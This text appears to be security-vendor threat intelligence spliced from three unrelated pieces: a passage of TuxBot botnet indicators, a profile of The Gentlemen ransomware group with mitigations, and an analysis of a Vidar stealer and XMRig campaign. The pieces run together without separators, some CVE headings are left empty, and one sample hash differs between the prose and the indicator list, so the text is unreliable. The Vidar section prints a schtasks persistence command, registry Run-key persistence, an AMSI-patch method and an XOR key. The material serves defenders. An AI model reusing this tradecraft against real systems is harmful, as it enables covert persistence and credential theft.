6b7a8e0c96c2318e747f074f9a99d26738700769ac01bba692d19fc884847737 File size: 1,456,432 bytes Filename: tuxbot.alpha File type: ELF 64-bit LSB executable, Alpha (unofficial), version 1 (SYSV), statically linked, BuildID[sha1]=cd540bb31909440fd2bf773e6f1480f5b6f12400, for GNU/Linux 3.2.0, not stripped SHA256 hash: 146f6010f6ee082aab13e0148d39baefa77eaba4ff65817b511b08c2092bdfd2 File size: 1,234,964 bytes Filename: tuxbot.arm File type: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, BuildID[sha1]=877b804892ab218a53420b6dfbd0a2837368d0b5, for GNU/Linux 3.2.0, not stripped SHA256 hash: bd6431fb06e4689142ef597cf00382e38ae20a5393a4d9277e45a3f5b3cbcff9 File size: 1,329,000 bytes Filename: tuxbot.arm64 File type: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=b21cdc5e1b96c640a1d553ed518c49729e367823, for GNU/Linux 3.7.0, not stripped SHA256 hash: a03b0d41f5ef03328150331ffa0ed970998883f7e0343d79b2d3b95330d8e7c1 File size: 972,032 bytes Filename: tuxbot.arm7 File type: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=a70cea846442c18ad265f311b5ced29a4071771d, for GNU/Linux 3.2.0, not stripped SHA256 hash: eb2fa179fde2f097c18d5d700ad87d660fc238ee14cbe5477032e60856859621 File size: 1,352,256 bytes Filename: tuxbot.hppa File type: ELF 32-bit MSB executable, PA-RISC, 1.1 version 1 (GNU/Linux), statically linked, BuildID[sha1]=69dc276dde8efcb409411508da55d4cbe28d5600, for GNU/Linux 3.2.0, not stripped SHA256 hash: a8d70d16509e227d8306be361bc37a3dc9fe34bf476f51e361e55e6d293c2b3f File size: 1,160,756 bytes Filename: tuxbot.m68k File type: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, BuildID[sha1]=adf267caab78a74c4b4dfabe7b578b0a4d639782, for GNU/Linux 3.2.0, not stripped SHA256 hash: 0f8bcca3ed65e980da2a1f90a767b7d543be32eeea3e9338d09d4d635a497988 File size: 1,431,220 bytes Filename: tuxbot.mips File type: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=a8fd13f6b1bdfa87c0f466df69b7e81325b5dd15, for GNU/Linux 3.2.0, not stripped SHA256 hash: 96b1f96efca3b9df2dea85678d60da27e3265b4a00e39e20e64b27bb985e1561 File size: 1,468,624 bytes Filename: tuxbot.mips64 File type: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=befb0e4d1cd7d2b4139b55f811993af2c8839e75, for GNU/Linux 3.2.0, not stripped SHA256 hash: c7a36d6b8128c41f93a32413675401a10a2b5769b221bbaa8c5c309585b73ceb File size: 1,403,096 bytes Filename: tuxbot.mips64el File type: ELF 64-bit LSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=e0f8dd23e4fb0086feb42ea0a5dcef70d7b4d17c, for GNU/Linux 3.2.0, not stripped SHA256 hash: 246c97957651de568e61eba1abe572f0b0f960456209995d43d53a0d7cc494a1 File size: 1,431,268 bytes Filename: tuxbot.mipsel File type: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=7ad840b1945cc346012987727ebcc062431965a4, for GNU/Linux 3.2.0, not stripped SHA256 hash: 3ec016d637e4c9cd331edd2580a229621ad638e924a4aa29ac0342e9144ace19 File size: 1,492,228 bytes Filename: tuxbot.ppc File type: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, BuildID[sha1]=4e1483737f769e1cee80fa4d7a056a5d8e3b537e, for GNU/Linux 3.2.0, not stripped SHA256 hash: 2f2c3551762c03da126e45dca6fc2f997c63f0f1bfc21fd0ceed680ac6f083ce File size: 1,721,904 bytes Filename: tuxbot.ppc64le File type: ELF 64-bit LSB executable, 64-bit PowerPC or cisco 7500, version 1 (GNU/Linux), statically linked, BuildID[sha1]=4cba585d9f208bd712b28f867f908e503ccc9cfe, for GNU/Linux 3.10.0, not stripped SHA256 hash: 9cd5e7e3c8bad321ef6c3d47fe25b3b56e9487f703a7eeee52db4067e6bafe61 File size: 1,185,264 bytes Filename: tuxbot.riscv64 File type: ELF 64-bit LSB executable, UCB RISC-V, version 1 (GNU/Linux), statically linked, BuildID[sha1]=64af594c7f91793813e3d769e63816b143102396, for GNU/Linux 4.15.0, not stripped SHA256 hash: e3a5296e762e9ee16010399666441d663beeea956382e97cca032a6a5ad06811 File size: 1,542,064 bytes Filename: tuxbot.s390x File type: ELF 64-bit MSB executable, IBM S/390, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2774a5f5991657eb9b0062cd3da0391c9bad2643, for GNU/Linux 3.2.0, not stripped SHA256 hash: f1efb78887bb8783d7781c07cd13b53c9c79ebe5baa81f335838d0a6e73dec7e File size: 1,096,720 bytes Filename: tuxbot.sh4 File type: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, BuildID[sha1]=304e14a138b92135aad27bb37f4e9db440401ec2, for GNU/Linux 3.2.0, not stripped SHA256 hash: f324a45fcd2a9db4e542c09486c21b08bc42d6bf76fbd5f17871090361b10815 File size: 2,240,240 bytes Filename: tuxbot.sparc64 File type: ELF 64-bit MSB executable, SPARC V9, Sun UltraSPARC1 Extensions Required, relaxed memory ordering, version 1 (GNU/Linux), statically linked, BuildID[sha1]=74fba0bad93bbb0e1eedb196b6efe6af1c0bf23d, for GNU/Linux 3.2.0, not stripped SHA256 hash: 15c17dce89deccd5172285b2650de957918aa1157cde8e4633ae15dfe31f2711 File size: 1,491,208 bytes Filename: tuxbot.x86_64 File type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=81670f250f4b3492fd3e00920f9fe7395ecbf85c, for GNU/Linux 3.2.0, stripped Confirmed TuxBot (External samples): SHA256 hash: 71dfbb171eca4ef9d02ff630b56e5283bbef7b375d4dbe9e8c9531bef312fa8d File size: 2,274,688 bytes Filename: .bot_x86_64 File type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=b1cc41e2b9ddb11d0c9d03d319531fea9459cdae, for GNU/Linux 3.2.0, with debug_info, not stripped Confirmed TuxBot (Internal samples): SHA256 hash: 511d3ffb4091cbcc94571d9fb3102e8cb424c6e187d01d53ff12078d54929bda File size: 163,121 bytes File type: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped SHA256 hash: 6aa4034dc7a2858094ff4dc59af07d6fe31119591e41599bcc0f3d0b516ee734 File size: 163,120 bytes File type: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped TuxBot C2 Servers: 185.10.68[.]127 - Dropper (HTTP, /bins/bot. ) 209.182.237[.]133:1999/31337 - Bot protocol (encrypted TCP) 209.182.237[.]133:2222 - C2 SSH admin panel 209.182.237[.]133:9999 - Machine API (TCP JSON) Keksec/Kaitori (not TuxBot directly): 45.145.185[.]229 - Keksec dropper (/bins/keksec.mips) 107.174.133[.]119 - Keksec dropper (Huawei exploit payload) 194.46.59[.]169 - AISURU infrastructure (yamux Go tool) Historical IP addresses: 188.166.2[.]226 - Tsunami dropper (dead code in RCE exploit). Now serves Ubiquiti UISP. Blocking will affect legitimate services. 154.6.197[.]43 - Present in the bot source code as scan/server domain. Successful Telnet logins are reported to this IP address. Flagged as a scanner by GreyNoise. Domains: c2.tuxbot.local - DNS fall-back C2 domain (hard coded in binary) cfcybernews[.]eu - Test domain leaked by CF bypass module captcha.kanfetka[.]site - Test domain leaked by CAPTCHA bypass module digikalas[.]online - Developer domain jetross[.]com - TLS certificate linking the C2 server to the dropper Host Indicators: Infected By Akiru - Console output after bot execution /bin/busybox Akiru - Busybox probe during Telnet scanning Akiru: applet not found - Expected response to busybox probe sd-pam.service - Systemd persistence service name /tmp/.%08x.lock - Lock file format for single-instance enforcement Network Indicators: 0xDEADBE01 + 32 bytes - C2 handshake initiation (X25519 public key) 0xDEADBEEF + 12-byte nonce + ciphertext + 16-byte MAC - Encrypted C2 packet format User-Agent: TuxBot - HTTP requests from bot User-Agent: r00ts3c-owned-you - RCE (dead code, inherited from MHDDoS) SSH banner: SSH-2.0-CNC-Control-Server - C2 SSH service (Shodan fingerprint) Exploited CVEs Implemented but never called at runtime: Completely Broken (exploit VM magic mismatch, never executes): QiAnXin XLab – AISURU Botnet Reports Cloudflare Radar – DDoS Threat Reports

Executive Summary The Gentlemen (aka Storm-2697) is a Ransomware-as-a-Service (RaaS) program active since at least July 2025. Public reporting indicates that the operators were likely active months earlier as an affiliate (known as ArmCorp) of Qilin RaaS, which Unit 42 tracks as Spikey Scorpius. Their ransomware variants are written in both C and Go programming languages, enabling the threat actors to spread their encryptors across different operating systems and virtual infrastructure. Figure 1 below illustrates the desktop wallpaper used by the ransomware after deployment. Additional public reporting revealed that the operators (roughly 20 of them) likely morphed from a private entity into a RaaS model on or about September 2025. While traditional RaaS models typically offer affiliates a 70% to 80% cut of paid ransoms, The Gentlemen offer an unprecedented 90% payout. Unit 42 and other security researchers have observed The Gentlemen’s usage of a wide variety of initial access techniques similar to other RaaS operators since their inception, including the exploitation of vulnerabilities in edge devices (firewalls, VPNs), brute force attacks, obtaining leaked and/or stolen credentials and collaborating with initial access brokers (IABs). More recently, researchers have identified The Gentlemen’s usage of a custom Go-based backdoor, an EDR killer framework dubbed “GentleKiller” and the suspected usage of an unspecified zero-day vulnerability exploit to amplify their defense evasion capabilities. In May 2026, The Gentlemen announced a partnership with HasanBroker's BreachForums as a means to recruit affiliates, penetration testers and IABs. Figure 2 illustrates this announcement. Additional information about The Gentlemen and their operational structure has emerged in recent months, following the leak of an internal database by an alleged insider in May 2026. One of the most alarming trends observed thus far in 2026 by Unit 42 and other security researchers is the sheer increase in volume of total victims claimed by The Gentlemen in comparison to 2025. Through July 7, one reputable source had counted a total of 580 victims claimed by The Gentlemen across 77 countries since their inception. Of those 580 victims, 103 operated within the manufacturing industry, a commonly targeted sector given the need for organizations to maintain operational uptime. Figure 3 below represents the total number of victims claimed by The Gentlemen in 2025 compared to both Qilin and Akira, tracked by Unit 42 as Howling Scorpius, which led all RaaS programs in victims claimed last year. In comparison to the above statistics, Figure 4 below represents the total number of victims claimed by The Gentlemen thus far in 2026 (through July 3) compared to both Qilin and Akira. When comparing the last six months of 2025 to the first six months of 2026, the number of victims claimed by The Gentlemen increased by slightly more than 6x. What makes this even more concerning is that these threat actors were only active for the last four months of 2025. Figure 5 below further illustrates the victims claimed by The Gentlemen per month since August 2025, one month prior to the official launch of their RaaS model. June 2026 represented their highest number of claimed victims to date with 117, just shy of a 4x increase from January 2026. While legacy big-game hunting RaaS programs like Qilin and Akira continue to drive high volumes of victims by sticking to their established playbooks, The Gentlemen has solidified itself as the second most active RaaS program of 2026 in terms of victims. The combination of a lucrative affiliate payout structure to recruit affiliates, alongside the use of custom tooling across different phases of their attack lifecycle, make The Gentlemen a formidable threat for enterprise organizations to reckon with in the near and mid term future. Initial Access: Immediately scope for and patch the following vulnerabilities known to be exploited: - CVE-2024-55591 (Fortinet's FortiOS and FortiProxy) - CVE-2025-32433 (Erlang/OTP SSH server) - CVE-2025-33073 (Windows SMB Client) - CVE-2025-55182 (React2Shell) Establish and maintain robust visibility into internet-facing systems and applications such as firewalls, VPNs and remote access gateways Audit for indicators of prior exploitation of edge devices and internet-facing RDP endpoints Establish strong security requirements for third-party dependencies and vendors, and monitor for breaches of any third-party tools or platforms Execution: Create immediate, high-severity SIEM alerts for the creation, deletion or execution of any scheduled task matching the string gentlemen* Privilege Escalation: Immediately scope for and patch the following vulnerabilities known to be exploited: - CVE-2025-7771 (ThrottleStop.sys driver) Defense Impairment: Enable EDR Tamper Protection and monitor for the unexpected loading of unsigned or known vulnerable drivers Implement behavioral alerts for systems executing wevtutil to clear Security/System logs Credential Access: Deploy phishing-resistance multi-factor authentication (MFA) on all systems Regularly audit and rotate credentials Discovery: Monitor for internal usage of tools such as Advanced IP Scanner, which the threat actors frequently use for internal network reconnaissance and mapping Lateral Movement: Enforce strict SMB signing, disable SMBv1 completely, and restrict lateral network movement between internal segments to contain the self-propagation mechanism Ensure SSH is turned off on ESXi hosts by default and only enabled temporarily for explicit maintenance windows Treat your virtualized environment as tier-0 infrastructure and restrict ESXi management interfaces to a dedicated, isolated management VLAN Command and Control: Monitor for anomalous outbound traffic over non-standard ports or traffic matching known SystemBC communication signatures Impact: Maintain and validate offline backup and recovery capabilities Implement behavioral alerts for systems using vssadmin and wmic to delete Volume Shadow Copies

In April 2026, Unit 42 researchers identified a financially motivated campaign delivering Vidar stealer and the XMRig cryptocurrency miner to consumer and small- and medium-sized business victims worldwide. Attackers lure victims via malvertising to pages for downloading files that impersonate cracked versions of copyright-protected software. Upon execution, the loader drops and runs both Vidar stealer and XMRig. Vidar stealer targets information like browser credentials, cookies and crypto wallets. XMRig mines Monero cryptocurrency. We assess the operator of the campaign to be a Vidar stealer malware-as-a-service (MaaS) affiliate involved in operations targeting victims in the U.S. and European Union. This article provides a technical analysis of the campaign. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: Cortex XDR and XSIAM Advanced WildFire Advanced URL Filtering and Advanced DNS Security Prisma Browser If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Since its emergence, attackers have used Vidar stealer in multiple large-scale campaigns. We identified a notable spike in activity from mid-late April 2026, primarily targeting organizations in the U.S. and the EU. Figure 1 illustrates the timeline of the April 2026 campaign, which shows the number of Vidar stealer samples discovered each day. Our investigation of this activity led to the discovery of loader binaries distributing both Vidar stealer and XMRig. This group behind this campaign distributes loader binaries through malvertising, targeting victims who search for pirated or cracked versions of copyright-protected software. The filenames used in this campaign mimic cracked versions of popular copyright-protected programs as well as generic installers. The campaign delivers the malware in password-protected archives with a .bin extension in the filenames. This appears to be a deliberate choice to bypass email gateway scanning and to prevent automated sandbox detonation without the password. We initially discovered 43 of these loader binaries that deliver Vidar stealer and XMRig. Upon extraction and execution, the loader binary is signed with a certificate (subject CN=justwatch[.]com), creating a false sense of legitimacy before any malicious activity begins. Our analysis of these loader samples indicates they use the Factory-v3 framework. Factory-v3 has been described as a MaaS builder used for different families of stealer malware. All 43 samples we discovered from this campaign contain embedded Go build metadata identifying the Factory-v3 framework. The Factory-v3 builder's internal name of UpdateFactor is revealed in a developer/build machine path shown in the programming database (PDB) strings of the loader DLL files: C:\Users\Administrator\Desktop\UpdateFactory\compiler\1.25.9\go\src\runtime\cgo Figure 2 shows a diagram of information from the build machine metadata. The builder generates a unique binary per build. For example, we observed 27 unique build UUIDs across 43 samples, defeating hash-based detection. The builder uses Go version 1.25.9, a custom pre-release of tools for the Go programming language. Anti-forensic measures are consistent across all samples: The PE TimeDateStamp is zeroed No PE version info is present DLL imports are reduced to kernel32.dll only User-defined type names are obfuscated to a V###### pattern The same builder, toolchain and Authenticode certificate infrastructure underpin a concurrent Lumma stealer campaign. This indicates Factory-v3 is used as a service for multiple stealer affiliates. All 43 loader samples carry an Authenticode signature fabricated to impersonate JustWatch GmbH, a legitimate German streaming guide service. JustWatch has not been compromised. The certificate is entirely fabricated using a self-signed root certificate authority (CA) that is not present in any public trust store, as shown below in Figure 3. Because the certificate is not chained to a Microsoft-trusted root, Windows SmartScreen and Authenticode validation will flag the binary as untrusted. However, the visual presence of a recognizable brand name in the signature dialog is sufficient to deceive many victims into proceeding. The 43 loader samples fall into four clusters, as Table 1 below shows. Table 1. Sample clusters with filetype. Cluster B DLL variants export Windows Defender MpClient.dll API functions to enable DLL search-order hijacking (MITRE ATT&CK® T1574.002). When a legitimate Windows Defender binary attempts to load MpClient.dll, the operating system locates the malicious copy first if it is placed in a higher-priority search path. The exported function names mimicked include MpAllocMemory, MpClientUtilExportFunctions, MpConfigOpen, MpFreeMemory and nine others. Loaders in Clusters A and C append hundreds of megabytes of null bytes after the last PE section, pushing the total file size to as high as 491 MB. Most automated sandbox environments enforce an upper file-size limit of 50-100 MB and silently skip oversized submissions, meaning the malware never executes in the analysis environment. The real malicious content in the largest observed sample is only 2.3 MB, and the remaining 489 MB is null byte padding. Defenders should ensure security tooling removes null byte padding before applying size limits, since the same sample compresses to approximately 2.4 MB. Static disassembly of the Vidar core payload sample (SHA256 hash: 7ed4a256e1d281cb4f194d13ff554fb280dafde0a67a18115ea038ea6c87d) reveals an in-memory Antimalware Scan Interface (AMSI) bypass that executes before any stealer logic runs. The routine loads amsi.dll, resolves the AmsiScanBuffer variable and overwrites its first six bytes with a patch. This patch forces the function to return E_INVALIDARG, which might disable Windows AMSI for all subsequent script and code execution on the victim machine. Both the DLL name and function name are XOR-obfuscated with single-byte key 0x05 to evade static string scanning. Table 2 shows the encoded and decoded strings for these names. Table 2. Encoded and decoded strings from the sample. Figure 4 below shows patched bytes written to the AmsiScanBuffer location (0x80070057). The binary uses a second, longer obfuscation layer for larger data blobs. This layer is obfuscated by a 32-byte rotating XOR with the key 69946018ddda1058ce5c2a556c78a747838865c47074dcb165effb0840cb1cf5 applied to the Telegram bot token, Monero wallet address and mining pool hostname for the XMRig payload. Figure 5 shows that the attack chain begins with malvertising, luring victims into downloading a password-protected .bin archive disguised as a cracked version of a legitimate program. The loader extracted from the .bin archive exhibits the following features: It leverages the Factory-v3 Go framework It is signed with a fake JustWatch certificate It is padded with null bytes to reach a large file size of hundreds of MB to evade detection The malware employs anti-analysis techniques such as process enumeration, alongside an AMSI bypass where the AmsiScanBuffer function is patched to prevent detection by some types of security software. Subsequently, the malware drops multiple payloads including Vidar stealer and the XMRig cryptocurrency miner, while establishing persistence mechanisms through registry modifications and scheduled tasks. The next stage involves reconnaissance, as the malware gathers information about files, hardware IDs (HWID) and bypasses proxies. Vidar stealer then exfiltrates sensitive data such as credentials and cryptocurrency wallets, communicating with a command-and-control (C2) server at 136.243.203[.]109. Simultaneously, XMRig begins mining Monero using the mining pool at pool.supportxmr[.]com. Finally, the attacker is notified of new activity via Telegram, with messages labeled "X3D MINER • NEW LOG," ensuring the operator stays informed about successful infections and stolen data. This means the threat actor behind Vidar is deploying the X3D MINER XMRig package. Dynamic analysis of the Vidar core payload confirmed the following execution sequence: Geolocation beacon: GET request to ip-api[.]com/json resolves the victim's public IP address and country, which are embedded in the subsequent Telegram alert Payload drop: It drops MicrosoftUpdate.exe in the %TEMP% directory as part of the Vidar stealer component and it places the following files in %AppData%\Temp%AppData%\Temp - MicrosoftEdgeUpdate.exe (the XMRig launcher) - libuv-1.dll (an XMRig dependency) - WinRing0x64.sys (an XMRig kernel driver) - mgwthmc2.dat (an XMRig Monero configuration file) - It copies itself to this folder as NisSrv.exe for persistence Vidar stealer: MicrosoftUpdate.exe is written to %TEMP% and executed. It targets browser credential stores, cookies and crypto wallet data, packaging everything into a ZIP for exfiltration to 136.243.203[.]109:443. XMRig miner: MicrosoftEdgeUpdate.exe is launched with --config=mgwthmc2.dat. The configuration is built entirely in memory before being written to disk, with the Monero wallet address and pool details decrypted from encrypted blobs. Each victim's C:\ volume serial number is hashed into an 8-character HWID that is appended to the auth_token field, allowing the operator to track per-victim mining output in the Monero pool dashboard. The payload establishes persistence through three parallel mechanisms: Registry Run key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value name SystemAgentService, data "...\AppData\Roaming\Microsoft\Windows\Temp\NisSrv.exe" -s Scheduled task: schtasks /create /tn "SystemAgentService" /tr "NisSrv.exe -s" /sc onlogon /f Startup folder batch script: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FEbJCNWOCKMJ.bat All three mechanisms point to the malware file named NisSrv.exe. Attackers chose this filename to blend in with legitimate Windows Defender components, since the real NisSrv.exe is the Network Inspection Service binary. The tag X3D MINER appears in Telegram operator notifications sent for every new victim infection. This moniker is used by a group associated with XMRig and binding XMRig with other programs. The operator behind this campaign runs a dual-monetization scheme. Criminals sell credentials and session cookies stolen by Vidar stealer on criminal log markets, while XMRig provides passive income from hijacked victim CPU cycles. The Factory-v3 builder is assessed to be a separate upstream service used by at least two distinct stealer affiliates. Pivoting on information from the initial 43 loader samples, we identified 56 additional samples of a subsequent variant on April 24, 2026. This variant retains the same builder, delivery and C2 infrastructure. The operating characteristics, Go loader, Factory-v3 builder, Telegram dead-drop and payload delivery are identical to the original campaign. The single differentiating factor is the Authenticode certificate. The operator transitioned from using a self-signed certificate mimicking JustWatch to another unauthorized certificate designed to resemble the BleacherReport[.]com certificate. This technique is known as Code Signing Impersonation. Attackers craft certificates to mimic legitimate, trusted publishers (e.g., Microsoft or Google) by cloning their metadata as Table 3 below shows. It is important to note that Bleacher Report has not been compromised. Table 3. Certificate data from the old and new variants of Vidar stealer. We observed these samples contacting the Telegram channel ci0iiif. New C2 servers in this cluster include 138.199.246[.]13, 116.203.243[.]208 and 136.243.203[.]111. This campaign demonstrated a multi-layer evasion approach. This approach combined the following characteristics: Rogue certificates Go-compiled loaders with per-build unique hashes Binaries inflated to hundreds of MB with null byte padding An in-memory AMSI bypass Loader samples sharing these characteristics were all delivered via a MaaS platform that also serves other malware stealer families. The operator's shift from using a self-signed certificate to leveraging an unauthorized certificate in Variant B demonstrates the actor's ability to adapt rapidly. We recommend that organizations enforce strong Authenticode chain validation and supplement it with: Certificate serial blocklisting Configuring security tooling to scan files regardless of size Monitoring for MpClient.dll loading from non-standard paths. Defenders should also: Hunt for the persistence indicators and file-drop patterns described above Block outbound connections to all C2 addresses and pool.supportxmr[.]com immediately Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Prisma Browser provides additional protection layers against advanced web threats including dynamic scans of every loaded web page, to prevent execution of new and unknown malicious attacks such as the malvertising campaign described above, and to protect company assets. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. 116.203.243[.]208 136.243.203[.]109 136.243.203[.]111 138.199.246[.]13 (Read: Field - Value) Subject Common Name (CN) - justwatch[.]com Issuer Common Name (CN) - WR3 Serial Number - 2f:7e:f0:15:7d:17:62:5c:09:86:91:ce:f1:ff:7d:63 Validity Period - 2026-03-09 to 2026-06-07 SSL Certificate SHA1 Hash (C2) - ab92f731ab20774dfdb95664ee41a2fbafe2a284 (Read: File path - Description) %TEMP%\MicrosoftUpdate.exe - Vidar stealer component %AppData%\Roaming\Microsoft\Windows\Temp\MicrosoftEdgeUpdate.exe - XMRig launcher %AppData%\Roaming\Microsoft\Windows\Temp\NisSrv.exe - Persistence copy of loader %AppData%\Roaming\Microsoft\Windows\Temp\libuv-1.dll - XMRig dependency %AppData%\Roaming\Microsoft\Windows\Temp\WinRing0x64.sys - XMRig kernel driver %AppData%\Roaming\Microsoft\Windows\Temp\mgwthmc2.dat - XMRig Monero configuration %StartUp%\FEbJCNWOCKMJ.bat - Startup batch script for persistence Registry key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Value name: SystemAgentService Data: "...\AppData\Roaming\Microsoft\Windows\Temp\NisSrv.exe" -s Task name: SystemAgentService Trigger: On user logon (/sc onlogon) Action: ...\AppData\Roaming\Microsoft\Windows\Temp\NisSrv.exe -s Table 4 shows the imphashes with the associated sample clusters and the role of those clusters in this activity. Table 4. Imphash information associated with this activity. 097a87cfa4a5186aba3bba096866692951bde59c6f0c2e8c1c4a599246d14da8 201594c9d173bba6cb509407ecba378c19b93da0a81a2182a913c480e6dbb54e 20bf39e1e67152039e70a01ad9e7b23c08d23d2a724ef9c44903f3d4353a2275 35dde1b2482b12582820a861e7c46f10721af6b75052fc872c05d2230a4e8ca1 43920ef7d2742d140a1ab2a1ef172c716903474c73561377dc4f1534d2c5f581 47d6d1a38534ba897a5a1e293e3d5df303bbd8e0526e756ad08887ffc1417bef 68ced9d7c1b1ff8ffb5f56c7d3f849d4fd16a1b95324426811424b40043d6d25 6b7ff061eebeb9ead8812c410247768a7ba90786aeeb1bafa6412cc5b08237b5 739cdedb20de39aeb1f15dc8c2dbbf15fa993250fd879bf87443ff9aeaf4997b 74df77b6a83d89fa137fd285a2efde36b1d62c00b3be81cc93df7d1e6e94837b 8b40cc7d173efd27fb60f3d260acef28f58d67d1f39597e1d611db311a305f62 9656d3301f63ef6114289739a1c44082206298f787238fc6c190ad87eab24751 9b3df1b6c1b98c201de09a7719066f7bcae6b66a3173b703a617f53fddf67d51 a17a972a05afe387ed32aa2986d5be8bca2f22619d0aedfa834c6963abfab3bf a4f979b4a5d7bc8bc455dd4c09b44e51a389576fccce35a2c8da3ce680237565 a64843ebfbc39e96ec7613003b1b5c3a9b878874ea15a05e1d34ce91781ebfb6 aaa2bc1128d8b8b2da76262bf87ede19bac053cca6576efba6aaa71c9438c304 b830f043076a12748b6a2dc0810ece85439ee77434d991ae7d84201b09ead756 bb30cc2b302d9a6963109b201b78d4163bb6c2d7bc8bf5a66e9a744b62fc2717 c328b78c21060e2203ac517833fce41572b91878e187f85fa434cd6914659834 c7a4a547eb7f6b0b4b75bb6dd8955244bb2618ba234ae740cdedd7c2d30e3465 d384c403c084967d8c967501ee6332b050af04ef424f13a3f5a88d155389d98c d6446f2803444bd2200d48a01a9ad7d487e67e8e831c9cd13f89cbfec17fd4e2 d7c9c9469c513c05aa431fae34f414f91fcf3f794d3e76b6e4d0b92c4cd3ff2e d8c1f96107a3349e62b3ab9afc60f62af9c89b6961b637a26b71e1230f2b3b8a f0dcb7e407de85d8de8e2221df8dddecac8aec88af8975c9f07e14100f6edb88 0a6a67a2fc4d79ec1cd8afc5b8b7a5e69a406e53d57a7334e097c5d0644de5f6 488d941b7b4428b0f4a0e5495e3857b9b96215fb3e7f164b06640d59096425e6 5d7324d8b5a25f862ef8223c6766d0e80af3ad168e17312b265e13a3a68e0ded 7720e83c02a027d70ae201c393c1956aa2fa8199879a3a4c4fd1d20b03022cfd 7e49da0ae2f81e14841f356b4d69f0480c2d9ce3fab5a3fa91b0036d9a36fa0f b8b5f6991a3a61083461d5269245bebf28b90934c328848ba8c1e084a5a6216c b927d265fa29e471c1ae0d31516e480c09c0fb17f480ad08ea8d5b73e84b7a1b b9b6893fa6b04ee8daa29e515c08239ac5204af1a1fa2bc10006eede1b41329b c7c37a973b14edd5b6b2da4a1497c593e43640735ff54aecc9a3288fa5e548e3 d2148a458da46e81702136aa915312d360805f083d1f37ff5531db9fbdb8ad6d d7b56818c829960b692de9ad5a14e52669d953e9f074f7218c3fe34ede4a11a0 db2a872f712fbdb1e347d06e29a9ed8278d86710ffc14ff04422be76e47124f4 e9e5e748ec5c0b811c8e60b0e55059edb4d2df86ff3ca45969e57d5fecb11a38 03e6f4f49cec3af38bbec9ed64c195c7a85a630ec989efb3669f04a2993c1dd7 914c18a04a2727bba9cecab78a1d516ec3c7a3f667e0e5a6081aa0e9206a69fe d78082dc33c6dca98316e865efa9829c6eb5a97c2ca3cd4ea6c2123a5f6ae45b 7ed4a256e1d281cb4f194d13ff554fd4fb280dafde0a67a18115ea038ea6c87d 15489bcd6e4602b41c9a787ec8d7ab027d5e45d400938048bb1c702ad5937980 169a330353e53a409e0109c914404354741ff1e1c64e501738dc05e58ea92abc 2a02ec4af5ed591afdf1236a443e3b68642ee133f38a2857d1eada51246ab498 2b7297a5f502a2e9a59066f0a370bc5a8b28addd0e27975db3d770f801c15397 2c0b344af415b787b396c8e23bbeb112bd471a1ca1d12cf357c48e2ee1ae068c 2c6e8f86c05781af12b323311e83e011f1a603928e2086c48e2ca59e33d90dbe 2e11a16f94484e0f43eb4572f800f26f0b4a1314cbdae3c44c1ae35f376906d8 2f1400a91c853d61622f4d21ed97d96ea1093c0fa1586669bea6f6baa331251f 314ce675c040c63b825f213965f5c76a3bd09bf70e138708367e2a84e9e84b30 32172e4d8d2ab9fb29b36c9b279117be6ff611b5b91ff7b1c42501a5ec969f2b 330efeebba3782994612fdfe20ff96c930af33a83b88a342b6622461511921b2 35b51bbe42edd15918b015eaa1b4f0e6b5c94f186d71d887e39f1da69a4dec3f 3c3f12531045b7eedfe25e0f291d4792b0d8c8366f8de043e2fa8ecf34ccb913 3db33b0423bb9278db267a7adb036ecbd6aeebd7909d06d824919708b1e12e1b 3e906ae47e9836a591f44d4b743e961d634a404fa8fd8bfae64f1d54c853be2b 4bf770a59d367b532dec32668f86003b17d93918dba5ef5fd2b19c5394252436 4f456142caf590d98fb11ca247800bb417766714527e5a4707ac2f5d01542626 53d263b292be387843fadb7131c2d538b4262c81f5b95cfacafacf2d5446c06e 5494909e0f5221db75e933b28981b2d0e118f227b7d8a5980d88b500b76dfc2e 54dc05ab56244444f86d69b8274a6075906f7ba2307b08e08d3884abde255495 559f46ceb801a3540eace594476718e1486b5b4423cfb4ff64530ff8fb4a3815 5838ae6c748dcbdfa13c6529c654cb821897d29835d3e7e05ca23fb2f3794f02 